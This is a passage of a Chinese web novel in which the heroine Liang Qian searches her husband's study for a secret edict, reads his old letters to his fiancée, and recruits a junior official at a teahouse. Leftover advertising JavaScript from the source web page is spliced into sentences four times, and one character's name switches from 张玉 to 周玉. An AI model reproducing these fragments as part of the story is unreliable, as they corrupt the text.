萧明汐见状便点了点头,背上弓箭追了过去。 无面看着萧明汐的背影,心里突然多了很多话,都是在解释,嗯,如今我对于她,不过萧府的一个马夫,她的哥哥嫂嫂才是她真正的亲人,她首先关心他们是应该的,啊,她真是一个善良有情有义的女子啊。 发了一会儿呆,不是队伍最后的大哥提醒,无面怕是还在那里站桩。 而至于无面是怎么受伤的,自然是后来萧明汐追上来,却只看到萧明渊和梁浅坠崖,于是凭借着高超的箭术,将对面的贼人射杀了大半。 可当对面藏好后,也朝这边射来暗箭,萧明汐自己武功高强,其实自己就能躲避,无面还要强跳出来英雄救美,挡在萧明汐刚刚站的地方,实际萧明汐已经躲好了。 于是无面应声倒地,萧明汐见状立即将对面的弓箭手射杀,将无面拖了过来。 众人都看得出来,无面是为了救萧明汐,虽然方法有些多余,但是也都立刻叫医师围上来救治。 见萧明汐关切的看着无面,无面也笑着,一脸的大义凛然,无面伸手想要像那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 些电视剧一样去抚萧明汐的脸。 梁浅听到这里,也是被无语到了,白了他一眼。 无面手还在空中的时候,旁边侍卫中的一个彪形大汉,伸出手握住无面的手说道:“兄弟,俺佩服你,放心,哥们都陪着你,你放心给医师医。” 见周围的侍卫都很靠谱,萧明汐便吩咐了人照顾好他,自己带队到山下去寻找萧明渊和梁浅等人。 后来他便被众人抬着带了回来,包扎好了以后,萧明汐还来看他,所以昨日才不想让梁浅来探病。 * 听到这里,梁浅真是被这个无面大王无语到了,结果这个人还在夸夸其谈,“看,我无面大侠,英雄救美,英勇无畏,佩服否?” 梁浅轻轻打了他一下他的伤处,说道:“你别还没有被我的毒药毒死,就先给自己作死了。” 无面傻笑的说道:“放心吧,我好歹也是习武之人,心中有分寸的,没有伤到要害的。” 梁浅便说起了正事,“对了,萧明渊的书房中神神秘秘放有一个上锁的盒子,你可有什么开锁的器物,我去探探里面装的是什么。” 无面收起刚刚那副侠客做了义事的表情,冷冷的说道:“有倒是有,只不过这么重要的东西想必不会这么放得这么明显,你可得做好心理准备。” 然后便伸手把枕头背后的藏着的一个布袋拿了出来,在里面找了一会儿,然后神神秘秘拿出来一个有点像钥匙的东西。 “诺,这个,你试试,把这个万用钥匙插进去,然后稍微调一下应该就能开了,若这个开不了,那我也没有啥办法了。”无面边说着边给梁浅展示这个东西怎么用。 梁浅拿起东西来把玩了一下,点头应答着,然后看着无面说道:“你这个样子想必也动不了什么了吧,给你带了些好吃的,好好养伤,我先走了。” 原来梁浅打算请无面去府中各处探查,这样看来暂时只有之后自己来做了。 梁浅拿着钥匙,便往书房这边走去。 昨夜萧明渊一夜未归,早上起来的时候梁浅专门问过芸香,芸香说萧明渊昨夜就出门了,今日还没有回来,所以梁浅便打算趁这个时机去到书房查探。 果然,这次门口的侍卫并没有拦着梁浅,也没有问任何缘由,梁浅大大方方的走了进去。 书房空无一人,梁浅直向木盒处走去,拿出钥匙来,根据锁口的造型调整着钥匙。 无面的东西还有有用的,一下就打开了盒子,可是当梁浅以为里面应该就是密诏了的时候,却只看到里面放的只是一些书信。 梁浅心想,莫不是这个密诏就是长这个样子的,梁浅仔细一看,木盒中有厚厚的一叠信,若是都拿走,便很容易被发现,仔细看字迹,都是出自一个人的手笔。 梁浅便只从中间抽出了一封,打算偷偷去问问无面确认一下,若这便是密诏,再安排好把这些信再全部拿走。 梁浅刚刚合上木盒,就听到外面传来有人说话的声音。 13. 第十三章·脸红心跳 梁浅听到外面的声音,就立刻将木盒摆回原位,将信藏在袖子里,然后假装正在看书的样子。 萧明渊将门推开,梁浅正坐在椅子上看着一本书,但是其实梁浅的心思压根就没有在书上。 萧明渊语气有些累的说道:“怎么不在房中休息,来这看书了?” 梁浅放下书,笑着回答道:“闲来无事,想着来书房找些书看看,也顺便也来拿些笔墨给荷包画个花样。” 萧明渊听到这话便走过来到桌子旁给梁浅挑起笔墨来,“这几样好用,一会儿我让月银给你送过去,书你喜欢看些什么?” 萧明渊挑完笔,便朝梁浅这边走过来,看了看她手中的书,说道:“你喜欢看兵书?” 梁浅刚刚只是慌慌忙忙的随便从旁边的书架上拿了一本书,没有想到是兵书,这内容上自己现代也不常看,自然不好应对。 只不过刚刚还好翻了几页,所以梁浅回道:“哦,我是正好翻到这本书有你的笔记,所以好奇翻了翻。” 萧明渊见状回道:“不过是看书时想到的一些演习方法罢了,你想看什么书,我帮你拿。” 梁浅拿着手中的书,见到萧明渊状态有些不好,则关切的问道:“暂时不用了,我就拿这本书吧,我先扶你回去休息。” 萧明渊笑着点了点头,自然的牵着梁浅的手走出了书房,走在走廊上,梁浅看着身边这个男人。 梁浅原本想的是今日他怎么恰好就突然回来了,他的每次出现好像对自己的计划的推进都有所阻碍,心里对于他的冷漠不喜应该是更加增加了一分的。 可是此时此刻,当见到他明明身体不舒服还强颜欢笑,心里却莫名想知道他发生了什么事,而他又是经历了什么才磨练成如今这般性格的。 书中的每一笔的记录,都是他对于自己过去经验思考反思的佐证,如今回到京城,远离自己熟悉的军队,谁不知回京封候其实也是皇帝在削弱他的权力,在利用他。 所以他如今只能在书本中寻找自己曾经战斗过的痕迹吗? 梁浅看着萧明渊的背影,感觉高大的背影却透露着孤独的寒意,心里对于他有了一丝好奇,他究竟是怎样的一个人呢? 可梁浅想到刚刚偷出来的信件,思绪便立刻回到了偷取密诏的这件事身上。 刚刚信封上的书写虽然没有萧明渊那日写的书法那般潦草,可刚刚书里的字梁浅一大半都不确定,对于书信梁浅并不自信,一会儿还是得去找无面商量一下。 梁浅扶着萧明渊回到房间里,抬头便见到窗边束着几束桃花,梁浅看了看萧明渊,“这是那日的?”梁浅语气有些惊喜地问道。 萧明渊轻轻点头,梁浅嘴角含笑,扶萧明渊到床边坐下,打算给他换药。 原本梁浅打算面无表情的做好这一切就赶紧想个办法溜走,可是真的上手了,却感觉自己有些不敢直视向他,也因为怕弄疼他的伤口,所以动作也没有想象的那么快。 萧明渊见梁浅每给他脱一件衣服就脸又红一分,心里不免偷笑,“那日,谢谢你。”萧明渊说这话时也不敢直视梁浅。 梁浅本来全神贯注的在给萧明渊包扎着,突然听到他冷不丁说了一句话,可是没有听清,便疑惑的看向他。 可当梁浅的目光对上自己的时候,萧明渊却又不好意思再说一遍了,便赶紧移开了目光。 梁浅边包扎则边在心里感叹,这人真不愧是常年在外行兵打仗的,身材可真不错,自己在包扎的时候还是不经意的触碰到他的胸口,他的肩膀,他的手臂,感觉他的体温比自己的还高些,可是自己的脸怎么也觉得烫得紧。 “都弄好了,可要吃点东西?”梁浅将萧明渊的衣服穿上后深吸一口气,终于结束了。 “没有胃口,想先休息会儿,一会儿起来再说吧,你可用过午饭了?”萧明渊回道。 “我用过了,不饿,那你就先睡会儿。”梁浅边说着,见他行动不便,便想帮他脱下鞋子扶他躺好,给他盖上被子。 可萧明渊却按住她的手说道:“多谢娘子帮我换药,你自己身上也有伤,不用做这些,我自己来就好。” 说话间萧明渊便自己飞速弄好躺了下去,梁浅对他受伤的严重程度产生了一丝怀疑,但是也懒得过问,想转头就出门去找无面的。 却没有想到,萧明渊伸出手突然抓住在床边的梁浅,将她揽在怀中,这才心满意足的闭上眼睛。 “娘子若不饿,那陪我睡会儿。”萧明渊闭着眼睛笑着说道。 梁浅想挣脱却挣脱不开,只能任由他抱着,虽然此时春天,午间确实很困,但是梁浅始终记得自己有事要做,所以一直劝自己不要睡着。 过了一会儿,梁浅感觉刚刚抱着自己的萧明渊手中的力度松了一点,梁浅便轻轻抬起头,唤了萧明渊几声,见他没有答应,才偷偷从被窝里面钻出来。 * 梁浅走的时候顺便顺走了一瓶金疮药,然后便一路鬼鬼祟祟,终于来到无面的房间门口,却听到房间里面有人说话的声音。 早上梁浅来的时候,无面说萧家为了赞扬他英勇无畏,忠心护主什么的,专门给他安排到了单间养伤,这会儿又是谁在和他说话。 梁浅忍不住好奇,悄悄绕到一旁,记得以前看电视剧的时候,这种纸糊的窗子,很容易弄破。 梁浅试了试,通过窗户上的一个小洞,悄悄的看着里面的动静。 结果还没有看清楚背对着的到底是谁,先听到二人的声音,无面在喊痛,另一个女子在和他说再忍忍。 或许是无面发现了在偷听偷看的梁浅,动作变得更加大胆起来了,无面将自己本来就遮蔽得半裸的衣服敞开,手朝那名女子的背摸去,两人靠近小声说话,梁浅也听不见说的是什么。 那女子也顺势低头,从梁浅的角度看,两人好像正在接吻,梁浅吓得赶紧跑来,自己躲在花园的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一角隐蔽处大口的呼吸。 梁浅一时不知道自己的心跳是因为跑的太快了,还是因为看到二人的亲密场景,还是因为联想到了自己和萧明渊。 梁浅在假山石头后面躲了好一会儿,猜想那女子应该已经走了,才又来到无面的房间门口。 这次梁浅才到房间门口,正在犹豫的时候,里面便传来无面的声音让她进来。 梁浅推开门进来,脸上装得很淡定,假装无事发生的样子,可是无面看见她这个样子,却哈哈大笑了起来,笑的同时扯着伤口痛,又去捂着伤口。 梁浅自然知道无面这是在笑她,知道刚刚是她在偷看,气急败坏的跺着脚,将手里的药丢到无面身上。 无面稳稳接住,对梁浅说道:“多谢夫人赠药,不知夫人刚刚看的可高兴?” 梁浅只是偏着头说道:“你在说什么,我听不懂。” 见梁浅还在嘴硬,无面便说道:“别长针眼才好,找我不是送药给我这么简单吧,说吧,找我什么事?你去书房调查有眉目了?” 梁浅这才说道:“这是金疮药,记得用,别还没有拿到赏金,你就先上西天了。” 然后梁浅从袖口中拿出那封在书房中偷到的信件,递给无面。 “你看看这信上写的是什么?可是密诏的内容?念给我听听。”梁浅冷静的说道。 无面疑惑的看向梁浅:“你不识字啊,自己不就可以看,你不怕万一这就是我们要找的密诏我看完掉包走了?” 梁浅无奈的看着他,“放心,看你这个样子,逃不出我的手掌心,和你分享也是遵守承诺,让你读也是对你的信任,毕竟谁让我们无面公子,才高八斗,英勇不凡呢?” 听着梁浅这一番吹捧,无面瞬间打消了怀疑,只是洋洋自得的说道:“那是,不看本公子是谁。” 然后无面才将信件从里面拿出来,得意的展开。 结果无面越看越皱起眉头,然后偷看了梁浅一眼,然后又看向信,才把信又丢回给梁浅。 无面抱着手说道:“你说你无不无聊,你们两口子的情书还专门拿过来让我给你念,让我一个孤家寡人念,真是非人哉。” 梁浅疑惑的看着手中的信,什么情书? 莫非是之前萧明渊提到过的他和柳烟晴以前有过的书信往来,他将书信都保留了下来,可为什么还要专门上锁呢,而且那日我想看,他还不让我看。 若真是两人的书信往来,那自然双方都知道这书信的内容,虽然自己是梁浅,可是于萧明渊看来,自己就是柳烟晴,顺便拿出来读读,二人追忆往昔不也是可以的,怎么会不让自己碰,而想刻意回避。 见无面不想读,梁浅便自己看了起来,遇到实在不确定有些不认识的字便问无面,只解释说是这书信有些年头,所以自己辨认不清。 梁浅以为这信件应该是柳烟晴写给萧明渊的,可是而信件开头写的便是向柳烟晴问好。 14. 第十四章 关于她的信 梁浅看着手中的信,一字一字的细细读了下去。 封面上写着,“烟晴亲启。”梁浅疑惑,这样看来是萧明渊写给柳烟晴的信件,怎会又在他自己这里,而不是在柳烟晴那里。 “见字如面,边关初雪已至,不知江南是何风景。汝见此信时,或已入深冬,念汝之生辰将至,吾于前日寻得一珍奇草木,或能助汝身体安康,请顾兄相带,许随信将至。 边关天黑风急,敌军虎视眈眈,吾常念吾父之教导,身后是万家灯火,黎明百姓,故万事不敢懈怠,每析战报至冷风入帐,才觉深夜。 今见明月,才念太白举头望明月之思。军中信使于今日收各人之家书,父亲母亲已去,吾妹或藏于军中,不知故乡何处,提笔只念及故人。 遥叩芳辰,生辰吉乐。 明渊” 梁浅读完这一封信,心中不知道是什么样的一种感觉,迟迟说不出话来,只是看着信中的每一个字细心感受,仿佛看到一个父亲战死,母亲病逝,家族难靠,妹妹不知所踪的少年将军,在人人都有家人可以寄出家书时,自己只有提笔写下一封信给长大后未曾谋面的未婚妻的孤单身影。 而他对于柳烟晴又是怎样的一种感情,梁浅如今也不敢妄下定论,或许孤单的他只是将未婚妻当做远方的一份可以寄托思念的家人,又或许是少年对于少女爱恋的暗自神伤,所以这也可以解释为什么二人婚后,萧明渊对梁浅自然而然流露出来的善意,或者说爱意。 无面见梁浅发了好一会儿的呆,便将手在梁浅眼前晃了晃,“怎么呆了,这字迹看样子就是萧明渊自己写的,必然不是我们要找的东西,那个盒子里面都是这样的信?” 梁浅回过神来,回答道:“嗯,我见信上都是写的一样的字迹,也都是写给柳烟晴的,不是的话,我得改日寻个时机偷偷还回去。” 无面端着手说道:“你上次也去找过,必然找得细致,那东西也定是不在书房了,只有从萧府的其他地方入手,哎,对了,萧明渊身上你找过没。” 梁浅一下子联想到每次给萧明渊穿衣服的场景,脸虽然红了,但是假装镇定的说道:“应该是没有的,密诏这种东西,他没有必要专门带在身上,如今你好好养伤,别死了,我过几日会在府中探查。” “嗯,放心,暂时死不了,但是你还不给我解药,我可能很快就和世间道别了。”无面往后一躺,懒懒的说道。 梁浅也学他刚刚的样子,抱着手看向他,“不是还有时间嘛,这会儿就在要解药了?” 无面反驳道:“我这身受重伤,重伤,很可能会刺激毒药,致使提前发作,你要不想我死,还要我帮你,就给我解药,反正我这幅样子也跑不了。” 梁浅无奈的转身拿出解药,让无面先把眼睛闭上,然后只丢了一颗药的一半药到无面的嘴里面。 “就给一半?你是真不怕我死。”无面边嚼着边有些生气的看着梁浅。 梁浅摊了摊手,只说道:“爱吃不吃。”转身便走了。 * 梁浅回到房中,萧明渊正好起身,两人用了晚饭,便各自坐在房间的不同地方的椅子上,梁浅坐在小几旁边拿着毛笔画着画样,可是半天没有动笔,只是心不在焉的发呆。 萧明渊则半躺在榻上,手中随意的翻看着梁浅拿回来的那本兵书。萧明渊注意到梁浅迟迟没有动笔,心里只当是她在犹豫给自己的荷包不知道绣什么花样。 “荷包的花样我不挑,什么鸳鸯戏水,花开并蒂都好。”萧明渊装作无意的说着。 梁浅听到了萧明渊说的话,其实自己发呆也并不是对这个发愁,自己会画的会缝的无非就是几样,他无论提什么花样也改变不了自己的心意,更何况现在他也说他不在乎花样,那到时候就别怪自己随意发挥了。 梁浅只是轻轻点头哦了一声,也没有动笔,继续发着呆,过了一会儿手酸了才将毛笔放下去沐浴,萧明渊也并未在意,只是继续翻着手中的书。 梁浅回来后,也是一幅心不在焉的样子,走到萧明渊的榻边时,只是当做任务般,在萧明渊的脸上亲了一下,就往自己的床走去。 萧明渊还没有反应过来,偷偷看她竟然今天没有脸红,只是面无表情的走到床上睡下了。 萧明渊的脸反而有些红了,一时愣在榻上,也不好意思上前去亲梁浅。 过了一会儿,梁浅背对着萧明渊说道:“明日我想去街上逛逛,透透气,也顺便选些做荷包的布料针线。” “好,那明日我让月银带人护送你去,我明日有事,就不陪你去了,一切小心。” “好,你也注意身体,不要太劳累,引得伤口复发。”梁浅回道。 萧明渊笑着应好,向梁浅的床边走来,结果梁浅从被子里把手伸出来,萧明渊疑惑的看着梁浅。 梁浅说道:“你今日的功课就交这里吧,既然是功课,那自然我说哪里不是?” 萧明渊有些赌气的说道:“那为何你的功课?” 梁浅打断道:“我的功课,我想交哪里就哪里,你要是不服,我以后不交便是。” 萧明渊冷笑一声,心中有气,但是也不敢说什么,只是大步向前,一把抓着梁浅的手咬了一下,也只是为了气气梁浅,所以并没有用力。 梁浅感觉手被萧明渊咬了,翻身过来瞪着他说道:“萧明渊,你属狗的吗?” 见梁浅有些生气的神情,萧明渊才终于心满意足的去沐浴,因为身上有伤,萧明渊只有拿起湿帕在身上擦,一想到刚刚她的表情,就情不自禁的笑出声来。 * 第二日梁浅醒的时候,萧明渊已经出门了,想起昨夜,梁浅也不知道自己有些闷闷不乐是为什么,难道是因为看完萧明 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 渊写给柳烟晴的信吗,可是这信的内容自己没有什么理由不开心,而且后来回房看到萧明渊反而有点赌气,不想理他。 梁浅便和芸香一起吃着东西,一边发呆思考着,终于最后梁浅得出一个结论,自己是因为书房的信件不是密诏,所以失望发愁,嗯,一定是这样。 那接下来就得好好打算了,无面这人,不知道真伤假伤,什么时候才能好,虽然本来也帮不了自己什么,但是关键时候多一个人还是多一份力量。 经历了上次遇袭事件,梁浅深深知道,有救急保命的东西有多么重要,所以在此次出门采买的单子上,首先就写上要买这些东西备用。 在出门之前,梁浅让芸香去请萧明汐,梁浅心想,找她过来,一方面看看能不能策反为己所用,虽然难度系数很高,但是也不是不可一试,由当时萧家各位亲戚的态度,和梁浅观察到的兄妹二人尴尬的相处而言,两人的情谊或许那么深刻,到时候梁浅也只是请萧明汐帮自己一点小忙,至于她本身而言,很可能还有什么隐情,以后再慢慢探索。 另一个方面嘛,自己现在伪装的身份不便于暴露自己的身手,并且自己目前的三脚猫功夫,万一落单,不一定能保证好自己的安全,如果萧明汐在的话,她的身手出手就名正言顺了,自己的安全也多保障一分。 可是梁浅自己想得很美好,但是现实很残酷,芸香回来禀报说,萧二小姐一大早就去靶场练习箭术了,所以只有梁浅自己先去,如果有空,萧明汐也得下午再去找她了。 考虑到事情比较多,梁浅看了看手中的单子,便决定先出门算了。 当然梁浅一出门见到繁华的街道,各种各样的美食,梁浅还是被吸引得走不动道,忍了又忍,还是没有忍住买了一大堆东西边走边吃。 梁浅先到杂货铺买了些东西备用,心想万一落单或者又坠崖什么的,也有些东西备用,然后便到武器铺让店家给自己打造些趁手的兵器,暗器,袖箭什么的,虽然萧明渊给了自己一把挺不错的匕首,可是在实战中,感觉还是没有那么实用,所以便又打造了一些。 然后便在街上四处打听起这京城中的街道有没有什么空的店铺,需要出租,心想找到合适的地方了之后,再慢慢安排其他的东西。 忙了一个大早上,梁浅终于累了,虽说是忙,但是也终于是出了萧府透透气,一路上玩着过来的,所以一直也没有觉得累,见到周围的人更自己东奔西跑了一上午,才意识到自己忽略了他人。 于是便带着众人来好好休息一下,一堆人就在附近的一个茶楼坐了下来,吃点茶水点心之后再说。 因为梁浅一行人人数众多,所以芸香和月银便将众人安排在了二楼,几乎二楼都是萧府的这一行人。 只不过梁浅上来的时候便注意到,窗边的一张桌子上,坐着一群人,都是身上穿着官服的人。 15. 第十五章 玉面郎君 梁浅带着帷帽,自认为自己今天的打扮也比较简单朴素,只是身着一身水蓝色的衣裙,也没有带什么华贵的首饰,若不是周围月银带着的黑压压的侍卫在身旁,旁人只怕以为梁浅只是一位寻常出门游玩的女子。 梁浅一上楼便注意到了坐在窗边的那桌人,只是自己带这芸香月银等七八个人已经引人注目了,所以梁浅只想尽力低调,便与其同坐在二楼。 月银安排好了所有人,自己才过来向梁浅复命,梁浅笑着把月银和芸香都拉过来与自己同坐。 月银不敢坐下可是也不敢推拒梁浅,刚坐下凳子又想弹起来,随后人高马大的月银便被梁浅亲自按在了旁边的凳子上,告诉他,一起吃饭休息而已,不要在乎这些礼数,月银才敢低头吃茶。 梁浅见两人坐下便叫了小二过来,梁浅一行人并排坐了三桌,梁浅让每桌的人各自都点自己喜欢的菜,今天自己来请客,放心吃,众人刚想行礼复命,看到梁浅的微眯的眼睛,便停了一下,才只是以平常语气说道多谢小姐款待罢了。 不止梁浅在看着那桌身着官服的人,那群人中的有一位身着青衣官服的人也默默关注着梁浅这边的动静,同坐的其他同僚只当是这京城中谁家富贵小姐夫人出游,已经见怪不怪,因此见到张玉郎这目不转睛的眼神,便想着他应该是才进京城做官,没有见过世面罢了,未放在心上。 可张玉并非是因为梁浅这行人的阵仗惊讶,而是刚刚在梁浅上楼时,正好一阵风吹过,将梁浅帷帽上的面纱轻轻吹动,张玉也趁此瞥见这位富家小姐的真容,加之其他人没有亲眼见过的萧侯爷府中的令牌,张玉也更加确定他们的身份。 张玉一行人来的早,这会儿已然吃得差不多了,就一一告别张玉离开了,因此,此时梁浅才看到刚刚被同桌人挡住视线的张玉。 每一个人起身离开,他都恭敬的站起身来作揖行礼告别,动作自然不刻意,让人感觉有尊重之意,却也并不疏远。 几人走后,张玉便一人坐在窗边,看着街上来来往往的人发呆。 梁浅只是时不时向那边望去,自己和芸香讨论着这家的菜品哪样更加好吃,最近京城中什么酒卖得最好,哪家铺子的点心更好吃,不喝酒的月银坐在一旁静静听着二人的言语,时不时会发表几句意见,说着他觉得一家叫百香的铺子点心好吃。 正当几人吃得差不多,有些沉默的时候,张玉收回看向人群的目光,叫小二来结了账,便向梁浅这边走来。 梁浅注意到有人走了过来,只是心中疑惑,刚刚与他同桌的那些同僚,走的时候也只是朝梁浅这边远远行了个礼便走了,而这人显然是先直接过来和梁浅打招呼的。 梁浅收起笑容,再次端庄起来,在他要靠近梁浅等人时,月银等人起身伸手拦住了他,梁浅有了上次遇袭的经验,自然不敢放松戒备,稍微转身来看着来人,给了芸香一个眼神,芸香便带着其中两个侍卫守住了二楼入口,探查周围没有他人后才向梁浅点头。 张玉见有人阻拦,便没有再向前,站在原地向梁浅行礼道:“下官张玉见过北安候夫人。” 梁浅疑惑的问道:“欧?大人是怎么认出我的?” 那人仍然躬着身子,恭敬的回道:“不瞒夫人,夫人虽未表露身份,但下官见夫人身上穿的是御赐的云裳锦,此锦虽看似寻常,可是若有光照射,则可以隐隐看出云纹,下官的好友曾言这云裳锦除了宫中的贵人,今年便只赏了丞相府和北安候府,丞相府中的贵眷年龄与夫人并不相似,故下官便斗胆猜测眼前的这位只能是北安候夫人了。” 梁浅心想自己的警惕心果然还是有用的,这人果然观察入微,不是等闲之辈,不可以放松警惕。 这衣服寻常人必然是看不出门道的,柳烟晴的衣服没有带多少,早上梁浅也只是觉得这件还算低调,才穿出来逛街的,这样看来,反而显得欲盖弥彰了。 梁浅淡定的喝下一口茶,对张玉说道:“大人好眼力,更是好胆量,这京城中想必无人不知北安候的威名,可大人却丝毫不惧,不知大人今日同我说话到底是何用意?” 听到梁浅这样说,周围的侍卫的眼神变得更加严肃,月银的手已经放在腰上的刀上,若这人有什么举动,他必然能一击即中。 正在这紧张的时刻,梁浅此时脑子突然想过一个想法,便是回门那日,月银万星都在,还有萧明渊这武力值加成,居然当时会一片混乱,自己还趁乱被抓,背后的原因会不会不止事发突然这么简单。 张玉打破了梁浅的思绪,面对这样剑拔弩张的画面,张玉的脸色却丝毫不惧,只是行礼笑着回道:“下官并无他意,只不过仰慕萧将军的威名许久,无奈下官人微言轻,更近不得将军跟前,今日有缘得见到夫人,故向夫人自荐。” 梁浅听到这,倒是确实有些佩服他的胆量,穿越过来这些日子,许是和萧明渊的相处让自己淡忘了从各处听到的对萧明渊的评价,这些日子除了萧家的亲戚,也并未听说谁人来登门拜访,今天自己出游更是约不到哪家家眷。 梁浅沉默片刻,掀起自己的面纱,看向张玉,只见张玉身着青衣,头上只是简单的用一根木簪束发,身材修长,不像萧明渊那般武将魁梧,倒是瘦弱许多,可是他的坚定却给他的瘦弱增添了一份毅力,他的神情仿佛没有想象的那般柔弱,倒是有些玉面郎君的气质。 “那你倒是说说,为何要用你?”梁浅说着这话,恍惚间仿佛看到在现代面试的自己,被面试官问道自己有什么优势,有什么擅长的,为什么要选你而不选别人。 梁浅朝月银点头,见月银眉头紧皱,张玉摊手让月银搜身,更说道自己只是一介文弱书生,并无伤害侯夫人之心。 张玉往梁浅走来,张玉在两人都能以平和语调听到声音的地方停 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下,再次行礼,梁浅一个眼神,周围的侍卫也识趣的退后转身看着外面。 “下官如今人微言轻,但自诩饱读诗书,毅力非常,如今下官初入朝堂,京中各事下官都有耳闻,有心想为民为国做事,却不得重用,听闻侯爷在边关爱兵如子,神勇非常,如今侯爷回京,他人都言侯爷军权旁落,下官却不以为然,凭侯爷之才,陛下必会重用,下官也愿跟随侯爷。”周玉冷静的说着。 梁浅沉思片刻,笑着说道:“引荐你可以,不过。” 梁浅看着周玉,作出让他上前的手势,然后在他耳边才轻声耳语道,“不过以后你表面上不仅是侯爷的人,实际上还得为我马首是瞻,相信我,我能帮你的更多。” 周玉一直平静中带有自信的神情在听到梁浅这话时,表情有所恍惚,有些不解的看向梁浅。 梁浅笑着说道:“放心,我不会对侯爷不利,我们仍然是同一阵营的。” 周玉仿佛下定决心的样子,对梁浅行了一个大礼说道:“下官必定竭尽全力。” 梁浅扶他起来,然后问道:“我有些好奇,你为何会在这里和我见面说这件事。” 周玉笑着说道:“俗话说,最危险的地方就是最安全的地方,他人或许认为我不会在这里投靠夫人侯爷,更不会在乎如今我这一个九品芝麻小官。” 梁浅满意的笑了一下,下一秒便装作是生气的样子,对周玉说道:“你什么地位,敢来求得侯爷的墨宝,月银,快将他赶出去。” 周玉也瞬间明白了梁浅的用意,被月银等人赶出去的时候,嘴里还在念着请侯爷夫人赎罪。 梁浅之所以冒险告诉周玉是想之后在京城中行事,能多一个自己的帮手就是多一份助力,更何况现在自己和萧明渊也是夫妻,他再怎么怀疑也猜不到自己的真正目的。 终于结束了这闹剧,梁浅让芸香给每位侍卫都包上了这家店的糕点,便继续朝街上走去,梁浅也是忙了一天才终于有空去选荷包的材料。 * 刚挑好修荷包的各样物件出来,梁浅便见到萧明渊站在了门口等自己,一见到梁浅,萧明渊刚刚冷漠的脸上便终于有了笑意。 梁浅疾步走过来,也是笑着看着萧明渊说道:“侯爷不是说今日有事不能来了?” 萧明渊看着梁浅说道:“事情结束得早,我派人来问,说你还在街上,便直接过来接你了,今日可逛得开心。” 梁浅点了点头,萧明渊便扶着梁浅坐进了马车里,梁浅上了马车后,还是一路看着窗外的风景,见到街道拐角处种有一棵桃树,花儿开得正好,便来了兴致,拉着萧明渊一同下车走走。 满树的桃花盛开,看得人心情也好,两人在桃花树下驻足,一阵风轻轻拂过,花瓣如同雨一般轻轻飘落,旁边的河道的水也在小声的诉说着他的故事,梁浅转头对上萧明渊的眼神,二人相视一笑。 16. 第十六章·明汐 梁浅走上前,看着随风满天飞舞的花瓣,一下子想到自己如今在萧府住的院子,倒是显得有些冷清,并不是说萧府不好的意思。 听说这侯府就是以前萧明渊的父亲母亲的住所,可以感受到萧老夫人还是很有眼光的,府中的各处细节设计还是让梁浅感觉非常有古风古韵,可是院中众多花木因为萧老夫人去世后也没有什么人照护,萧明渊和萧明汐也对这方面不太擅长,所以显得院中倒是没有这么有生机似得。 所以梁浅下意识的就低说了一句,“嗯,以后我的院中也要种这样一棵桃树,好看。” 梁浅以为自己的喃喃自语没有人听到,但其实站在他身后的萧明渊听到了,萧明渊不禁失笑,自己的耳力在战场上已经锻炼出来了,回京许久倒是都有些忽略了。 于是萧明渊便走到马车旁,低声给万星交代了一些什么,然后脸上带着得意的笑意继续看着梁浅。 梁浅看了一会儿,走过来和萧明渊并肩站在一起,歪着头看了看萧明渊,笑着问道:“侯爷,你我新婚也好几日了,不知侯爷什么时候才回去上朝呀?” 萧明渊轻轻皱眉,有些疑惑的回道:“娘子这是已经嫌我烦了,要赶我走?” 梁浅见他有些认真,便开玩笑的语气说道:“夫君说笑了,和夫君成婚以来,我还没有见过夫君穿官服的样子呢,今日在街上见许多京城的官员穿官服,便想见见夫君穿是何模样。” 萧明渊听到这话,嘴角压不住的笑意,气势仿佛比刚刚弱了许多,但是语气也柔和许多,“嗯,之前陛下说我才回京城,京城的诸般事务还不熟悉,等我婚后再安排具体职务,应该没有几天就会有消息了。” 萧明渊边说着边拉着梁浅往马车上走去,两人你一句我一句的说着。 “那你的朝服是什么颜色?” “不知道,还得看陛下给我什么官职了。” “那你以后每日都要上朝吗?” “不一定,也有休沐,春节也不用上朝。” * 梁浅一回来便请芸香帮忙选人,自己成亲带过来的几位柳家侍从中,有谁在萧府中还不是很脸熟的,但是办事靠谱的,明日萧明渊不在的时候再带过来见梁浅,自己有事情交代。 梁浅悄悄和芸香说完便立刻从一脸严肃的样子转变得笑脸盈盈的看着萧明渊进门来,萧明渊好像在车上放了什么东西,偏偏要等梁浅下车他才找。 其他人都把今天买的东西都搬进了府中,萧明渊才在手里拿着一个盒子跑进来,神神秘秘的,梁浅问他拿的是什么,他还傲娇的说不告诉梁浅。 “切,我也不是很想知道,我给明汐也买了些东西,我要给她送过去,想顺便同她说说话,一会儿晚饭我们一同过来,你先回去可好。”梁浅抱着手说道。 萧明渊点了点头,“好,知道了,这会儿她应该还在骑马,一会儿记得来吃晚饭,不要聊忘了。” 梁浅有些嗔怪的对萧明渊说道:“吃饭怎么会忘,你不知道,我柳某人天大地大,吃饭最大,明汐今日骑马练箭定也不会忘了吃饭的,你放一百个心吧。” 萧明渊偷笑着道好,然后目送梁浅往马场走去。 在去马场的路上,梁浅先吩咐拿东西的众人直接将给萧明汐的礼物搬到她的房间去,自己和萧明汐一会儿过来。 在众人走后,梁浅便向芸香问道,一般若有皇帝的圣旨诏书家中人都会放在哪里。 芸香沉默了一会儿,说道:“原在柳家的时候,听府中的老婆子说,给柳将军的抚旨来的时候,全家都到了正堂迎接听旨,后来见老夫人接了圣旨便往祠堂拿去了,或许为了敬谢圣恩,应该是放在祠堂里的?” 这正好和梁浅想的一样。 梁浅知道,直接要萧府的布局图之类的很容易引起他人的怀疑,所以今日出门,梁浅专门登到萧府附近最高的楼,偷偷观察着府中的格局。 而这几日早晚,自己有空便在府中闲逛,已经将府中的各处摸了一边,还没有去的便只有同样有人看守的祠堂了,加之联想到密诏的信息或许也隐藏在真正的诏书之中。 所以才向芸香询问,从而确认。 听完芸香的回答梁浅点了点头,看来自己的下一个目标便是祠堂了,至少祠堂门口看守的人没有带刀,应该没有那么难吧。 转眼也就到马场了,便远远就听到马蹄声和驾马的声音此起彼伏,想必定是萧明汐还在骑马了。 